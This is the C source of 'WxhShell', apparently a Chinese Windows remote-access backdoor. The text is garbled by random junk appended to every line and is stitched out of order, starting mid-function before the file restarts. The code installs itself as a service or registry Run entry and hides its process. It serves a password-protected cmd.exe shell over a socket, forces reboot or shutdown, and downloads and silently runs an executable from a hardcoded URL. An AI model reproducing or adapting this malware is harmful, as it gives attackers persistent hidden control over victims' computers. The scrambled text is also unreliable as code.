    ExitThread(0); 3bDQk :L  
    } Fd#m<"  
    break; oI.G-ChP  
    } l'\pk<V  
  // 获取shell lKlU-4  
  case 's': { PSPmO'C+  
    CmdShell(wsh); Er{#ziN+  
    closesocket(wsh); \[jq4`\$  
    ExitThread(0); D5:{fWVsV/  
    break; 7}vg.hmZ  
  } s%2v3eb  
  // 退出 L3n_ 5|  
  case 'x': { *&d<yJM`b  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); -.T&(&>^  
    CloseIt(wsh); %/YcL6o(  
    break; j%y$_9a7  
    } 6$ Gep  
  // 离开 }J7zTj~{  
  case 'q': { <x&%~6j  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Tp0bS  
    closesocket(wsh); 5cEcTJL[C  
    WSACleanup(); Y_]De3:V0B  
    exit(1); ({NAMc*  
    break; k iRa+w:  
        } CYKr\DA  
  } =IUUeFv +r  
  } _>v<(7  
fgBM_c&9T  
  // 提示信息 1&P<  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); !w H'b  
} i| ZceX/  
  } kWNV%RlSx  
&[At`Nw71  
  return; SL,p36N  
} 2e|N@j &  
 :<Fe  
// shell模块句柄 =L C:SFzF  
int CmdShell(SOCKET sock) 5* 0y7K/D  
{ XEdzpkB  
STARTUPINFO si; {U84 _Pi  
ZeroMemory(&si,sizeof(si)); U-:ieao@  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; )x]3Zq  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; F*.g;So  
PROCESS_INFORMATION ProcessInfo; gl]E_%tH  
char cmdline[]="cmd"; eYC^4g%l(  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); o,xxh  
  return 0; h(F<h_  
} =i(?deR  
hRq3C1 mR  
// 自身启动模式 2CzaL,je[  
int StartFromService(void) AQc,>{Lm  
{ ?X5]i#j[  
typedef struct UThB7(O,  
{ Nx-uQ^e*1  
  DWORD ExitStatus; YG8>czC  
  DWORD PebBaseAddress; sF7^qrVQP9  
  DWORD AffinityMask; ]q6;#EUr?  
  DWORD BasePriority; [|lB5gi4t!  
  ULONG UniqueProcessId; ]IL;`>Gp  
  ULONG InheritedFromUniqueProcessId; 7^M9qTEHp  
}   PROCESS_BASIC_INFORMATION; /l{ &iLz[  
m~>Y{F2  
PROCNTQSIP NtQueryInformationProcess; 3 E3qd'  
_$p$")  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; j+^oz'q  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; N |1>ooU[  
OKHX)"j\\  
  HANDLE             hProcess; ^::EikpF%  
  PROCESS_BASIC_INFORMATION pbi; P1zdK0TM  
?\#N9 +{W  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); <BW[1h1k5_  
  if(NULL == hInst ) return 0; F|& {Rt  
k2xHH$+{#=  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 7y`}PMn  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 9<vWcq*4  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 1&/FG(*/  
8k^| G  
  if (!NtQueryInformationProcess) return 0; 1pCieTz!PN  
6O@J7P  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); kEO7PK/  
  if(!hProcess) return 0; 0[F:'_  
fS:1^A2,  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; @m?QR(LJ  
fRfn2jA)d  
  CloseHandle(hProcess); Y $u9%0q|?  
k6kM'e3V  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); \3Q&~j  
if(hProcess==NULL) return 0; h!#:$|Q  
Sggq3l$Qc  
HMODULE hMod; 0oh]61g C  
char procName[255]; i%{3W:!4t  
unsigned long cbNeeded; vfNAs>Xg"  
#UtFD^h  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); @VN&t:/l  
@Eb2k!T  
  CloseHandle(hProcess); ~Xlrvb}LP  
x'zBK0i  
if(strstr(procName,"services")) return 1; // 以服务启动 )XfzLF7  
HAYMX:%  
  return 0; // 注册表启动 Jjl%R[mI  
} DOz\n|8S  
~w</!s  
// 主模块 HK)cKzG[s!  
int StartWxhshell(LPSTR lpCmdLine) a,Gxm!  
{ %hN.ktZ/s  
  SOCKET wsl; 4 V1bLm  
BOOL val=TRUE; ,+;:3gRk9  
  int port=0; @R m-CWa  
  struct sockaddr_in door; D{v8q)5r  
`p'Q7m2y/b  
  if(wscfg.ws_autoins) Install(); !WkIi^T  
3@n>*7/E  
port=atoi(lpCmdLine); +m}Pmi$  
__@zTSVb  
if(port<=0) port=wscfg.ws_port; < pTTo  
3jogD  
  WSADATA data; E1&b#TE 6O  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ICB~_O5  
jEz+1Nl)  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   @=5qT]%U3J  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); :y2p@#l#  
  door.sin_family = AF_INET; 'O6]0l  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); <e%F^#y_  
  door.sin_port = htons(port); J!ntXF  
$3X-r jQtW  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { {m8+Wju}  
closesocket(wsl); K={qU[_O  
return 1; OTB$V k  
} '<iK*[NW  
K~RoUE<3[  
  if(listen(wsl,2) == INVALID_SOCKET) { /?/#B `  
closesocket(wsl); B`$L'  
return 1; +KEkmXZ  
} E^hHH?w+  
  Wxhshell(wsl); S>q>K"j^!  
  WSACleanup(); HftxS  
!5}l&7:(MN  
return 0; JIO$=+p  
#(LfYw.P1V  
} i v(5&'[p  
"tS'b+SJ-S  
// 以NT服务方式启动 ZiFooA  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 'j%F]CK  
{ #kkY@k$4  
DWORD   status = 0; RE3Z%;'  
  DWORD   specificError = 0xfffffff; 2h {q h  
E3/:.t  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 9^F2$+T[:  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 9H]_4?aX  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; D~K;~nI  
  serviceStatus.dwWin32ExitCode     = 0; Ap\AP{S4  
  serviceStatus.dwServiceSpecificExitCode = 0; rAQF9O[  
  serviceStatus.dwCheckPoint       = 0; ,%#   
  serviceStatus.dwWaitHint       = 0; ,}D}oo*  
Uf*EJ1Ei  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); n,M)oo1G  
  if (hServiceStatusHandle==0) return; ^4v*W;Q  
T_<BVM  
status = GetLastError(); c:M$m3Cs?  
  if (status!=NO_ERROR) 02JL*  
{ vOI[Z0Lq9h  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; N?4q  
    serviceStatus.dwCheckPoint       = 0; RAs0]K  
    serviceStatus.dwWaitHint       = 0; io4A>>W==/  
    serviceStatus.dwWin32ExitCode     = status; tZWrz e^  
    serviceStatus.dwServiceSpecificExitCode = specificError; M] V.!z9B  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Ix DWJ#k  
    return; zGcqzYbuA  
  } (3,.3)%`  
> ^[z3T  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; PHM:W%g:  
  serviceStatus.dwCheckPoint       = 0; "L& k)J  
  serviceStatus.dwWaitHint       = 0; &217l2X /  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); u3tZ[Y2 c  
} (9fdljl],:  
a?cn9i)#  
// 处理NT服务事件,比如:启动、停止 $<?X7n^  
VOID WINAPI NTServiceHandler(DWORD fdwControl) @=]8^?$t 0  
{ KT*:F(4`  
switch(fdwControl) X}4}&  
{ nw'-`*'rj  
case SERVICE_CONTROL_STOP: ~bA,GfSn0  
  serviceStatus.dwWin32ExitCode = 0; _.18z+  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; SjcL#S($&Y  
  serviceStatus.dwCheckPoint   = 0; BZ+-p5]-  
  serviceStatus.dwWaitHint     = 0; r;cV&T/?  
  { R -elIp  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); :_dICxaLZT  
  } ySN V^+  
  return; DhKr;e  
case SERVICE_CONTROL_PAUSE: rE!1wc>L  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; &b C}3D  
  break; &w~Xa( uu  
case SERVICE_CONTROL_CONTINUE: 73NZ:h%=  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; FY;+PY@I{  
  break; >X Qv?5  
case SERVICE_CONTROL_INTERROGATE: ,qFA\cO*  
  break; ~0tdfK0c  
}; yDd[e]zS`  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 8LM #WIm?  
} jPu5nwvUV>  
=LH}YUmd  
// 标准应用程序主函数 h#f&|* Q5m  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) aSnp/g  
{ CUmH,`hu  
89eq[ |G_  
// 获取操作系统版本 $G?(OWI}l`  
OsIsNt=GetOsVer(); %|Hp Bs#'  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 7t(Y;4<2  
: 1)}Epo,  
  // 从命令行安装 ' lo.h""  
  if(strpbrk(lpCmdLine,"iI")) Install(); wgd<3 X  
_3^y|_!  
  // 下载执行文件 I^0 t2[M  
if(wscfg.ws_downexe) { <DiOWi  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) . 5hp0L}  
  WinExec(wscfg.ws_filenam,SW_HIDE); 0-e  
} 8cr NOZS6  
xl!K;Y2<  
if(!OsIsNt) { A]y*so!)>  
// 如果时win9x,隐藏进程并且设置为注册表启动 .;Y x*]  
HideProc(); WVL#s?=g  
StartWxhshell(lpCmdLine); J 3?Dj  
} $Lq:=7&LRn  
else J1 tDO?  
  if(StartFromService()) 6mG3fMih.  
  // 以服务方式启动 71iRG*O  
  StartServiceCtrlDispatcher(DispatchTable); $AwZ2HY  
else ILG?r9 x  
  // 普通方式启动 af>3V(7  
  StartWxhshell(lpCmdLine); #vnT&FN0[  
{OxWcK\2@h  
return 0; ;h+q  
} :0Te4UE;P7  
Ee?;i<u  
(:}<xxl  
5Hle-FDn9  
=========================================== 5RhF+p4  
Ol cP(  
,t~sV@ap  
F3 f@9@b   
p?Sl}A@`  
T Oy7?;|=  
" 8W{~wg`  
G' Hh{_:  
#include <stdio.h> ~/c5 hyTx  
#include <string.h> ~zMKVM1Q.,  
#include <windows.h> @ M[Q$:  
#include <winsock2.h> PNmF}"  
#include <winsvc.h> r{"uv=,`  
#include <urlmon.h> .Vh*Z<9S4  
|3@=CE7G  
#pragma comment (lib, "Ws2_32.lib") i[=C_+2  
#pragma comment (lib, "urlmon.lib") .~<]HAwq  
u5E/m  
#define MAX_USER   100 // 最大客户端连接数 XtW_  
#define BUF_SOCK   200 // sock buffer 4I ,o&TK  
#define KEY_BUFF   255 // 输入 buffer pN k8! k  
a!u3 HS-i  
#define REBOOT     0   // 重启 R~c1)[[E  
#define SHUTDOWN   1   // 关机 Jk*QcEE=  
Ao*FcrXN  
#define DEF_PORT   5000 // 监听端口 Q&wYc{TUbm  
 ^@q#$/z  
#define REG_LEN     16   // 注册表键长度 h6FgS9H  
#define SVC_LEN     80   // NT服务名长度 3:" &Z6t#  
GN%<"I.  
// 从dll定义API MgnE-6_c  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); w a.f![  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); |uQ[W17^N  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); (w2(qT&O  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); LhKY}R  
I =b'j5c  
// wxhshell配置信息 <UK5eVQn  
struct WSCFG { J{H?xc o  
  int ws_port;         // 监听端口 0Q3YN(  
  char ws_passstr[REG_LEN]; // 口令 ?H0m<jO8~  
  int ws_autoins;       // 安装标记, 1=yes 0=no \*9Ua/H  
  char ws_regname[REG_LEN]; // 注册表键名 S-P{/;c@  
  char ws_svcname[REG_LEN]; // 服务名 ~h|m&XK+Q  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 |$Xf;N37t  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 XW:%vJu^`  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 &fHc"-U}  
int ws_downexe;       // 下载执行标记, 1=yes 0=no {c?ymkK  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" X8.y4{5  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 d"l}Ny)C  
y{;u@o?T  
}; #XL`S  
- #Jj-t_Fe  
// default Wxhshell configuration ]c,l5u}A$  
struct WSCFG wscfg={DEF_PORT, s<#N]mp'   
    "xuhuanlingzhe", ~._ko  
    1, D?J#u;h~f  
    "Wxhshell", f@*>P_t  
    "Wxhshell", u7 ~mn l  
            "WxhShell Service", cP('@K=p  
    "Wrsky Windows CmdShell Service", M%;"c?g  
    "Please Input Your Password: ", kraVL%72  
  1, %O Fj  
  "http://www.wrsky.com/wxhshell.exe", _M&{^d  
  "Wxhshell.exe" 2b~ HHVruX  
    }; Xiw@  
:4]J2U\@  
// 消息定义模块 JQH7ZaN  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; }_vM&.GFlL  
char *msg_ws_prompt="\n\r? for help\n\r#>"; F b2p(.  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; XP4jZCt9  
char *msg_ws_ext="\n\rExit."; U>1b9G"_  
char *msg_ws_end="\n\rQuit."; mR!rn^<l  
char *msg_ws_boot="\n\rReboot..."; :OX$LCi  
char *msg_ws_poff="\n\rShutdown..."; >OTl2F}4 !  
char *msg_ws_down="\n\rSave to "; -Fa98nV.WB  
$&Ac5Zo%}  
char *msg_ws_err="\n\rErr!"; +qZc} 7rJF  
char *msg_ws_ok="\n\rOK!"; k)Zn>  
P_mi)@  
char ExeFile[MAX_PATH]; T#Fn:6_=  
int nUser = 0; AW62~*  
HANDLE handles[MAX_USER]; mMslWe  
int OsIsNt; fxOE]d8v  
<\Vi,,  
SERVICE_STATUS       serviceStatus; `L;OY 4  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Bjtj{B  
CJ:uYXJJ:z  
// 函数声明 /xF 9:r  
int Install(void); rF'<r~Lw  
int Uninstall(void); $oc9 |Q 7  
int DownloadFile(char *sURL, SOCKET wsh); q:Wq8  
int Boot(int flag); Qv\bLR  
void HideProc(void); =_uol8v  
int GetOsVer(void); ?|)rv  
int Wxhshell(SOCKET wsl); gDMAc/V`l  
void TalkWithClient(void *cs); 6g8M7<og9R  
int CmdShell(SOCKET sock); ?&XzW+(X  
int StartFromService(void); ,Z?m`cx  
int StartWxhshell(LPSTR lpCmdLine); #[Z<=i~C  
(A2U~j?Ry}  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); -#daBx ?  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); {dDq*sLf  
22PGWSQ  
// 数据结构和表定义 wJ/ ~q)  
SERVICE_TABLE_ENTRY DispatchTable[] = G IK u  
{ h^`{ .TlN  
{wscfg.ws_svcname, NTServiceMain}, s5nB(L*Pjp  
{NULL, NULL} 8KZ$ F>T]>  
}; Pb3EnNqYbM  
Z%KL[R}^w;  
// 自我安装 |E? ,xWN  
int Install(void) |c=d;+  
{ )4Bwt`VX  
  char svExeFile[MAX_PATH]; S'|lU@P Cl  
  HKEY key; <Ak:8&$O  
  strcpy(svExeFile,ExeFile); 6(,ItMbI  
N:twq&[Y  
// 如果是win9x系统,修改注册表设为自启动 sN;(/O  
if(!OsIsNt) { 9A(n _Rs7?  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { G]at{(^Vz  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Q Xsfp  
  RegCloseKey(key); &^AzIfX}Gw  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { m\l51}xz  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Io2,% !D  
  RegCloseKey(key); |}:e+?{o  
  return 0; bGhhh/n  
    } 3Gj(z:)b  
  } /7.wQeL9  
} is64)2F](  
else { 7 FEzak'  
)iT.A  
// 如果是NT以上系统,安装为系统服务 )~1.<((<  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); nR(#F9  
if (schSCManager!=0) mi*:S%;h  
{ rve7YS'  
  SC_HANDLE schService = CreateService Rd`{qW  
  (  =7*oC  
  schSCManager, |:~("rA+v  
  wscfg.ws_svcname, *QMF <ze  
  wscfg.ws_svcdisp, Ma% E&.ed  
  SERVICE_ALL_ACCESS, GH [ U!J  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , jn0t-":  
  SERVICE_AUTO_START, f<Va<TL6-  
  SERVICE_ERROR_NORMAL, T^rz!k{  
  svExeFile, ['Hp?Q|k  
  NULL, /+Wb6{lY  
  NULL, Dh*~U :6$g  
  NULL, u]ZqF *  
  NULL, C~3@M<X  
  NULL a.5zdoH_  
  ); b>G qNf!  
  if (schService!=0) >^M!@=/?J  
  { mABwM$_  
  CloseServiceHandle(schService); N )b|  
  CloseServiceHandle(schSCManager); at_dmU2[7  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); JrY"J]/  
  strcat(svExeFile,wscfg.ws_svcname); 9{au leu R  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { BiVd ka  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); =e"H1^Ml  
  RegCloseKey(key); AT2NC6{M  
  return 0; 8 /:X& &  
    } mBYS"[S(  
  } JS<e`#c&  
  CloseServiceHandle(schSCManager); okd  ``vG  
} Dx9$H++6$X  
} | 7t=\  
)Mm;9UA  
return 1; w*|=k~z  
} Sn{aHH  
n_e}>1_  
// 自我卸载 ,U} 5  
int Uninstall(void) ' lQ  
{ 3j[w -Lfp  
  HKEY key; #n6FQ$l8m  
*y":@T  
if(!OsIsNt) { j TB<E=WC  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { %fex uy4  
  RegDeleteValue(key,wscfg.ws_regname); wN/*|?`Z  
  RegCloseKey(key); G}Qk!r  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { d()zW7}W  
  RegDeleteValue(key,wscfg.ws_regname); p*(U*8Q  
  RegCloseKey(key); M ,.0[+  
  return 0; )'/nS$\E:  
  } j\jL[hG_  
} s[vPH8qb  
} vTe$77n  
else { .(gT+5[  
EU?&  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); i9f7=-[U_  
if (schSCManager!=0) `\WcF7  
{ i-Ge *?  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); (50[,:#  
  if (schService!=0) /e j/&x15  
  { URmAI8fq*M  
  if(DeleteService(schService)!=0) { ILu0J`;}  
  CloseServiceHandle(schService); @8 oDy$j  
  CloseServiceHandle(schSCManager); {GG~E54&B  
  return 0; L*SSv wSL  
  } vUodp#s  
  CloseServiceHandle(schService); O9Jx%tolF%  
  } ~%8Q75tn.  
  CloseServiceHandle(schSCManager); _k"&EW{ Ii  
} S4aHce5PXA  
} a V+o\fId  
2f}K #i8   
return 1; )Yy#`t  
} 5;sQ@  
Jm*M7g j  
// 从指定url下载文件 {m*V/tX  
int DownloadFile(char *sURL, SOCKET wsh) :!Y?j{sGU  
{ _taHf %\4  
  HRESULT hr; `K@df<}%*,  
char seps[]= "/"; tehI!->l  
char *token; #*7/05)  
char *file; FJwZo}<6E  
char myURL[MAX_PATH]; mV! @oNCK  
char myFILE[MAX_PATH]; ~T p8>bmSR  
f>"!-3  
strcpy(myURL,sURL); :<WQ;q  
  token=strtok(myURL,seps); I!soV0V U]  
  while(token!=NULL) b[&,%Sm+6  
  { BC$;b>IUA  
    file=token; 08d_DCR  
  token=strtok(NULL,seps); "`$'tk[  
  } 7/U<\(V!g  
s&QBFyKtJ  
GetCurrentDirectory(MAX_PATH,myFILE); &Curvc1fm  
strcat(myFILE, "\\");  7KSGG1ts  
strcat(myFILE, file); n'&`9M['%d  
  send(wsh,myFILE,strlen(myFILE),0); W2W2WyPk  
send(wsh,"...",3,0); 3A}nNHpN  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); H2FFw-xW  
  if(hr==S_OK) Kt!IyIa;Ht  
return 0; #.<F5  
else 5M\=+5wB  
return 1; A 4W  
9Sj:nn^/u  
} v ACsppa>#  
,GXfy9x7U  
// 系统电源模块 z kX-"}$8  
int Boot(int flag) dbq{a  
{ k,*#I<($  
  HANDLE hToken;   L@k;L  
  TOKEN_PRIVILEGES tkp; afP&+ 5t@O  
UmD-7Fd  
  if(OsIsNt) { ==jw3_W  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); r~D~7MNl  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ;MRC~F=  
    tkp.PrivilegeCount = 1; ;~gd<KK  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; cf[u%{ 6Y  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); $ DZQdhv  
if(flag==REBOOT) { 1N$gE  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ]Re~V{uh  
  return 0; b]g&rwXYt  
} t+4Y3*WeGF  
else { (HrkUkw  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) f;tyoN0wHx  
  return 0; mTuB*  
} E][{RTs  
  } : ! iPn%  
  else { >&TnTv?I  
if(flag==REBOOT) { 4xpWO6Q  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) /@nRL  
  return 0; 3!oQmG_T  
} ^tKOxW# a  
else { 4{pemqS*  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) <% 3SI.  
  return 0; I\uB"Z{9  
} ?"8A^ ^  
} Y1E>T-Ma  
q[|`&6B  
return 1; 3Llj_lf  
}  ZV q  
L]}RSE2  
// win9x进程隐藏模块 2bn@:71`  
void HideProc(void) ">vYEkZ3  
{ k@";i4}A  
Rn~Xu)@e  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ME10dr  
  if ( hKernel != NULL ) _hyxKrm' 6  
  { aEqI51I  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); n40MP5RxY  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); k]/6/s\  
    FreeLibrary(hKernel); SX=0f^  
  } <sCq x/L  
JJHvj=9'o  
return; %Rsf6rJ  
} =Wy`X0h  
! 7*_Z=  
// 获取操作系统版本 J_[[BJ&}x  
int GetOsVer(void) ]z q_gV8k  
{ Nj-rZ%&  
  OSVERSIONINFO winfo; c.{&~  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); h. (;GJO  
  GetVersionEx(&winfo); cD`O+WA2K  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) $t H.np  
  return 1; B?ob{K@  
  else >'TD?@sr  
  return 0; F%+rOT<5  
} 6u, 0y$3  
"QFADk1  
// 客户端句柄模块 AB &wn>q  
int Wxhshell(SOCKET wsl) |m 5;M$M)  
{ ?! _pP|  
  SOCKET wsh; Ee\-q  
  struct sockaddr_in client; )4_6\VaM  
  DWORD myID; .yfqS|(  
w$;*~Qc  
  while(nUser<MAX_USER) r=H\4%P4  
{ 2au(8IWu  
  int nSize=sizeof(client); Nx (pJp{S  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); $0S"Lh{  
  if(wsh==INVALID_SOCKET) return 1; j _9<=Vu  
>.wd)  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); #M^Yh?~%w  
if(handles[nUser]==0) ;6 qdOD6  
  closesocket(wsh); s>``- ]3  
else = 4WZr  
  nUser++; Nl<,rD+KSD  
  } "X(=  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); sAN:C{  
G1^!ej  
  return 0; L8tLW09  
} ^RAFmM#F  
.QQI~p0:  
// 关闭 socket dlzamoS@AR  
void CloseIt(SOCKET wsh) g7z9i[  
{ JR<-'  
closesocket(wsh); .d!*<`S|  
nUser--; n9/0W%X>  
ExitThread(0); <.(/#=2  
} z slEUTj)  
u&_U CJCf  
// 客户端请求句柄 @OY-(cW  
void TalkWithClient(void *cs) 0\ w[_H  
{ 10 H!  
k Q(y^tW  
  SOCKET wsh=(SOCKET)cs; _%TeTNY#  
  char pwd[SVC_LEN]; EEZ2Gu6c  
  char cmd[KEY_BUFF]; w:zC/5x`  
char chr[1]; / lM~K:  
int i,j; (<JDD]J  
:Fd9N).%  
  while (nUser < MAX_USER) { h}&IlDG  
N_Ld,J%g  
if(wscfg.ws_passstr) { `h3}"js  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 9Zsb1 M!n>  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 8si^HEQ8  
  //ZeroMemory(pwd,KEY_BUFF); ~[y+B0I3  
      i=0;  de47O  
  while(i<SVC_LEN) { ({nSs5)$  
Od]xIk+E  
  // 设置超时 \` ^Tbn:  
  fd_set FdRead; fToI,FA  
  struct timeval TimeOut; 5 t?2B]  
  FD_ZERO(&FdRead); sLqvDH?V  
  FD_SET(wsh,&FdRead); X@q1;J  
  TimeOut.tv_sec=8; Lbp6I0&n  
  TimeOut.tv_usec=0; k[)@I;m  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); E(LE*J  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); V(uRKu x  
!D&MJThNy  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); kD7(}N8YR  
  pwd=chr[0]; ld?.o/  
  if(chr[0]==0xd || chr[0]==0xa) { Z|S7 " ,  
  pwd=0; 32P]0&_O  
  break; &*GX:0=/>  
  } 5w{pX1z1  
  i++;  A;x^6>  
    } =T4 w:  
s;WCz  
  // 如果是非法用户,关闭 socket ucPMT0k  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); &it/@8yH  
} ,6Q-k4_  
l*H"]6cXRL  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); n1(X%%2  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); &)jZ|Q~  
K)\gbQ|  
while(1) { m9c T}x&j  
r['C.S6  
  ZeroMemory(cmd,KEY_BUFF); 6|cl`}g_j  
DJ0T5VE W3  
      // 自动支持客户端 telnet标准   \%Q rN+WQ  
  j=0; lB~'7r`  
  while(j<KEY_BUFF) { :]Qx T8B  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); oa !P]r  
  cmd[j]=chr[0]; {=7i}xY]T  
  if(chr[0]==0xa || chr[0]==0xd) {  Bt3=/<.\  
  cmd[j]=0; |raQ]b@t&  
  break; beZ| i 1:  
  } T=dvc}  
  j++; >v,j;[(  
    } (r\h dLX  
T["(YFCByg  
  // 下载文件 P[8N58#  
  if(strstr(cmd,"http://")) { nn%xN\~<  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); D~&e.y/gHN  
  if(DownloadFile(cmd,wsh)) /y|r iW  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~GYtU9s5  
  else 53 05N!  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); (k&aD2PH  
  } z1s"C[W2T  
  else { ~' =4K/39  
jloyJ@ck  
    switch(cmd[0]) { M[_I16s  
  BmX Gk  
  // 帮助 n$l]+[>  
